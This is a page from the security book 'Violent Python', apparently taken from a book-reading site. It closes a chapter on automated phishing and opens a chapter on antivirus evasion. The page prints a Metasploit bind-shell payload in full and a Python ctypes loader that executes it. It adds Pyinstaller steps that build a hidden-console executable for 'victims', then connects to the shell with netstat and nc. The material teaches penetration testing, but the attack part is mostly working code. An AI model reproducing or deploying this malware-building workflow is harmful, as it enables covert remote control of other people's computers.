Violent Python: A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers (30 page)

BOOK: Violent Python: A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers
12.52Mb size Format: txt, pdf, ePub
ads
Chapter Wrap-Up

While this method should never be applied to another person or organization, it is important to recognize its viability and whether or not your organization is vulnerable. Python and other scripting languages allow programmers to quickly create ways to use the vast resources found on the Internet to gain and potentially exploit an advantage. In our own code, we created a class to mimic a web browser while increasing anonymity, scraped a website, used the power of Google, leveraged Twitter to learn more about a target, and then finally brought all of those details together to send a specially crafted email to our target. The speed of an Internet connection limits a program, so threading certain functions would greatly decrease execution time. Additionally, once we have learned how to retrieve information from a data source, doing the same to other websites is relatively straightforward. Individuals do not have the mental capacity to access and handle the vast amount of information on the Internet, but the power of Python and its libraries allow access to every resource far faster than even several skilled researchers. Knowing all of this, and understanding that the attack is not as sophisticated as you probably originally thought, how is your organization vulnerable? What publically accessible information could an attacker use to target you? Could you become the victim of a Python script scraping open-source media and mailing malware?

References

1. Beautiful Soup (2012). Crummy.com. Retrieved from <
http://www.crummy.com/software/BeautifulSoup/
>, February 16.

2. Cha, A., & Nakashima, E. (2010). Google China cyberattack part of vast espionage campaign, experts say.
Washington Post
. Retrieved from <
http://www.washingtonpost.com/wp-dyn/content/article/2010/01/13/AR2010011300359.html
>, January 13.

3. Constantin, L. (2012). Expect more cyber-espionage, sophisticated malware in ’12, experts say. G.E. Investigations, LLC. Retrieved from <
http://geinvestigations.com/blog/tag/social-engineering-operation-aurora/
>, January 2.

4. Google (2010). Google web search API (depreciated). Retrieved from <
https://developers.google.com/web-search/
>, November 1.

5. List of user-agent strings (2012). User Agent String.com. Retrieved from <
http://www.useragentstring.com/pages/useragentstring.php
>, February 17.

6. Matrosov, A., Rodionov, E., Harlely, D., & Malcho, J. (2010).
Stuxnet under the microscope
. Eset.com. Retrieved from <
go.eset.com/us/resources/white-papers/Stuxnet_Under_the_Microscope.pdf
>.

7. Mechanize (2010). Mechanize home page. Retrieved from <
http://wwwsearch.sourceforge.net/mechanize/
>, April.

8. Twitter (2012). Twitter API. Retrieved from <
https://dev.twitter.com/docs
>, February 17.

9. Wilson, B. (2005). URL encoding. Blooberry.com. Retrieved from <
http://www.blooberry.com/indexdot/html/topics/urlencoding.htm
>.

10. Zetter, K. (2010). Google hack attack was ultra-sophisticated, new details show. Wired.com. Retrieved from <
http://www.wired.com/threatlevel/2010/01/operation-aurora/
>, January 14.

Chapter 7
Antivirus Evasion with Python
Information in this chapter:

 
Working with Python Ctypes.

 
Anti-Virus Evasion using Python.

 
Building a Win32 Executable using Pyinstaller.

 
Utilizing HTTPLib to GET/POST HTTP Requests.

 
Interacting with an Online Virus Scanner.

It’s the art where a small man is going to prove to you, no matter how strong you are, no matter how mad you get, that you’re going to have to accept defeat.

—Saulo Ribeiro, six-time World Champion, Brazilian Jiu Jitsu

Introduction: Flame On!

On May 28, 2012, the Maher Center in Iran detected a complex and sophisticated cyber-attack against its network (
CERTCC, 2011
). This attack proved so sophisticated that 43 out of 43 tested antivirus engines could not identify the code used in the attack as malicious. Dubbed “Flame” after some ASCII strings included in the code, the malware appeared to infect systems in Iran as a state-run cyber-esponiage strategy (
Zetter, 2012
). With compiled Lua scripts named Beetlejuice, Microbe, Frog, Snack, and Gator, the malware beaconed via Bluetooth, covertly recorded audio, infected nearby machines, and uploaded screenshots and data to remote command and control servers (
Analysis Team, 2012
).

Estimates gauge the malware as at least two years old. Kapersky Lab was quick to explain that Flame is “one of the most complex threats ever discovered.
It’s big and incredibly sophisticated” (
Gostev, 2012
). Yet how did antivirus engines fail to detect it for at least 2 years? They failed to detect it because most antivirus engines still primarily use signature-based detection as their main method of detection. While some vendors have begun incorporating more complex methods such as heuristics or reputation scoring, these are still novel in concept.

In the final chapter, we will create a piece of malware intended to evade antivirus engines. The concept used is largely the work of Mark Baggett, who shared his method with followers of the SANS Penetration Testing Blog almost a year ago (
Baggett, 2011
). Yet the method for bypassing antivirus programs is still functional at the time of writing this chapter. Taking a nod from Flame, which used compiled Lua scripts, we will implement Mark’s method and compile Python code into a Windows executable in order to evade antivirus programs.

Evading Antivirus Programs

In order to create the malware, we need some malicious code. The Metasploit framework contains a repository of malicious payloads (250 at the time of this writing). We can use Metasploit to generate some C-style shellcode for a malicious payload. We will use a simple Windows bindshell that will bind the cmd.exe process to a TCP port of our choosing: this allows an attacker to remotely connect to a machine and issue commands that interact with the cmd.exe process:

 attacker:∼# msfpayload windows/shell_bind_tcp LPORT=1337 C

 /*

 * windows/shell_bind_tcp - 341 bytes


http://www.metasploit.com

 * VERBOSE=false, LPORT=1337, RHOST=, EXITFUNC=process,

 * InitialAutoRunScript=, AutoRunScript=

 */

 unsigned char buf[] =

 “\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30”

 “\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff”

 “\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2”

 “\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85”

 “\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3”

 “\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d”

 “\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58”

 “\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b”

 “\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff”

 “\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68”

 “\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01”

 “\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50”

 “\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7”

 “\x31\xdb\x53\x68\x02\x00\x05\x39\x89\xe6\x6a\x10\x56\x57\x68”

 “\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5”

 “\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7\x68\x75”

 “\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57”

 “\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01”

 “\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e”

 “\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56”

 “\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56”

 “\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75”

 “\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5”;

Next, we will write a script that will execute the C-style shellcode. Python allows for importing foreign function libraries. We can import the library ctypes, which will allow us to interact with data types for the C programming language. After defining a variable to store our shellcode, we simply cast it as a C-function and execute it. For future reference, we will save this file as bindshell.py:

 from ctypes import *

 shellcode = (“\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30”

 “\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff”

 “\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2”

 “\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85”

 “\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3”

 “\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d”

 “\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58”

 “\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b”

 “\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff”

 “\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68”

 “\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01”

 “\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50”

 “\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7”

 “\x31\xdb\x53\x68\x02\x00\x05\x39\x89\xe6\x6a\x10\x56\x57\x68”

 “\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5”

 “\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7\x68\x75”

 “\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57”

 “\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01”

 “\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e”

 “\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56”

 “\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56”

 “\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75”

 “\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5”);

 memorywithshell = create_string_buffer(shellcode, len(shellcode))

 shell = cast(memorywithshell, CFUNCTYPE(c_void_p))

 shell()

While the script at this point will execute on a Windows machine with a Python interpreter installed, let’s improve it by compiling the software with Pyinstaller (available from
http://www.pyinstaller.org/
). Pyinstaller will convert our Python script into a stand-alone executable that can be distributed to systems that do not have a Python interpreter. Before compiling our script, it is necessary to run the Configure.py script bundled with Pyinstaller:

 Microsoft Windows [Version 6.0.6000]

 Copyright (c) 2006 Microsoft Corporation. All rights reserved.

 C:\Users\victim>cd pyinstaller-1.5.1

 C:\Users\victim\pyinstaller-1.5.1>python.exe Configure.py

 I: read old config from config.dat

 I: computing EXE_dependencies

 I: Finding TCL/TK...

 <..SNIPPED..>

 I: testing for UPX...

 I: ...UPX unavailable

 I: computing PYZ dependencies...

 I: done generating config.dat

Next, we will instruct Pyinstaller to build an executable spec file for a Windows portable executable. We will instruct Pyinstaller not to display a console with the --noconsole option and to build the final executable into one single flat file with the --onefile option:

 C:\Users\victim\pyinstaller-1.5.1>python.exe Makespec.py --onefile --noconsole bindshell.py

 wrote C:\Users\victim\pyinstaller-1.5.1\bindshell\bindshell.spec

 now run Build.py to build the executable

With the spec file built, we can instruct Pyinstaller to build an executable for redistribution to our victims. Pyinstaller creates an executable named bindshell.exe in the bindshell\dist\ directory. We can now redistribute this executable to any Windows 32-bit victim:

 C:\Users\victim\pyinstaller-1.5.1>python.exe Build.py bindshell\bindshell.spec

 I: Dependent assemblies of C:\Python27\python.exe:

 I: x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.21022.8_none

 checking Analysis

 <..SNIPPED..>

 checking EXE

 rebuilding outEXE2.toc because bindshell.exe missing

 building EXE from outEXE2.toc

 Appending archive to EXE bindshell\dist\bindshell.exe

After running the executable on a victim, we see that TCP port 1337 is listening:

 C:\Users\victim\pyinstaller-1.5.1\bindshell\dist>bindshell.exe

 C:\Users\victim\pyinstaller-1.5.1\bindshell\dist>netstat -anp TCP

 Active Connections

 Proto  Local Address  Foreign Address   State

 TCP  0.0.0.0:135  0.0.0.0:0  LISTENING

  
TCP  0.0.0.0:1337   0.0.0.0:0 LISTENING

  TCP  0.0.0.0:49152   0.0.0.0:0   LISTENING

  TCP  0.0.0.0:49153   0.0.0.0:0   LISTENING

  TCP  0.0.0.0:49154   0.0.0.0:0   LISTENING

  TCP  0.0.0.0:49155   0.0.0.0:0   LISTENING

  TCP  0.0.0.0:49156   0.0.0.0:0   LISTENING

  TCP  0.0.0.0:49157   0.0.0.0:0   LISTENING

Connecting to the victim’s IP address and TCP port 1337, we see our malware is working successfully, as expected. But can it successfully evade anti-virus programs? We will write a Python script to verify this in the next section:

 attacker$ nc 192.168.95.148 1337

 Microsoft Windows [Version 6.0.6000]

 Copyright (c) 2006 Microsoft Corporation. All rights reserved.

 C:\Users\victim\pyinstaller-1.5.1\bindshell\dist>

BOOK: Violent Python: A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers
12.52Mb size Format: txt, pdf, ePub
ads

Other books

The Weight of Honor by Morgan Rice
The Bull Rider Wears Pink by Jeanine McAdam
For The Win by Cory Doctorow
Love, Loss, and What I Wore by Beckerman, Ilene
Ghost Sniper: A Sniper Elite Novel by Scott McEwen, Thomas Koloniar
Some Day Somebody by Leger, Lori
Get a Load of This by James Hadley Chase
Girls Rule! by Phyllis Reynolds Naylor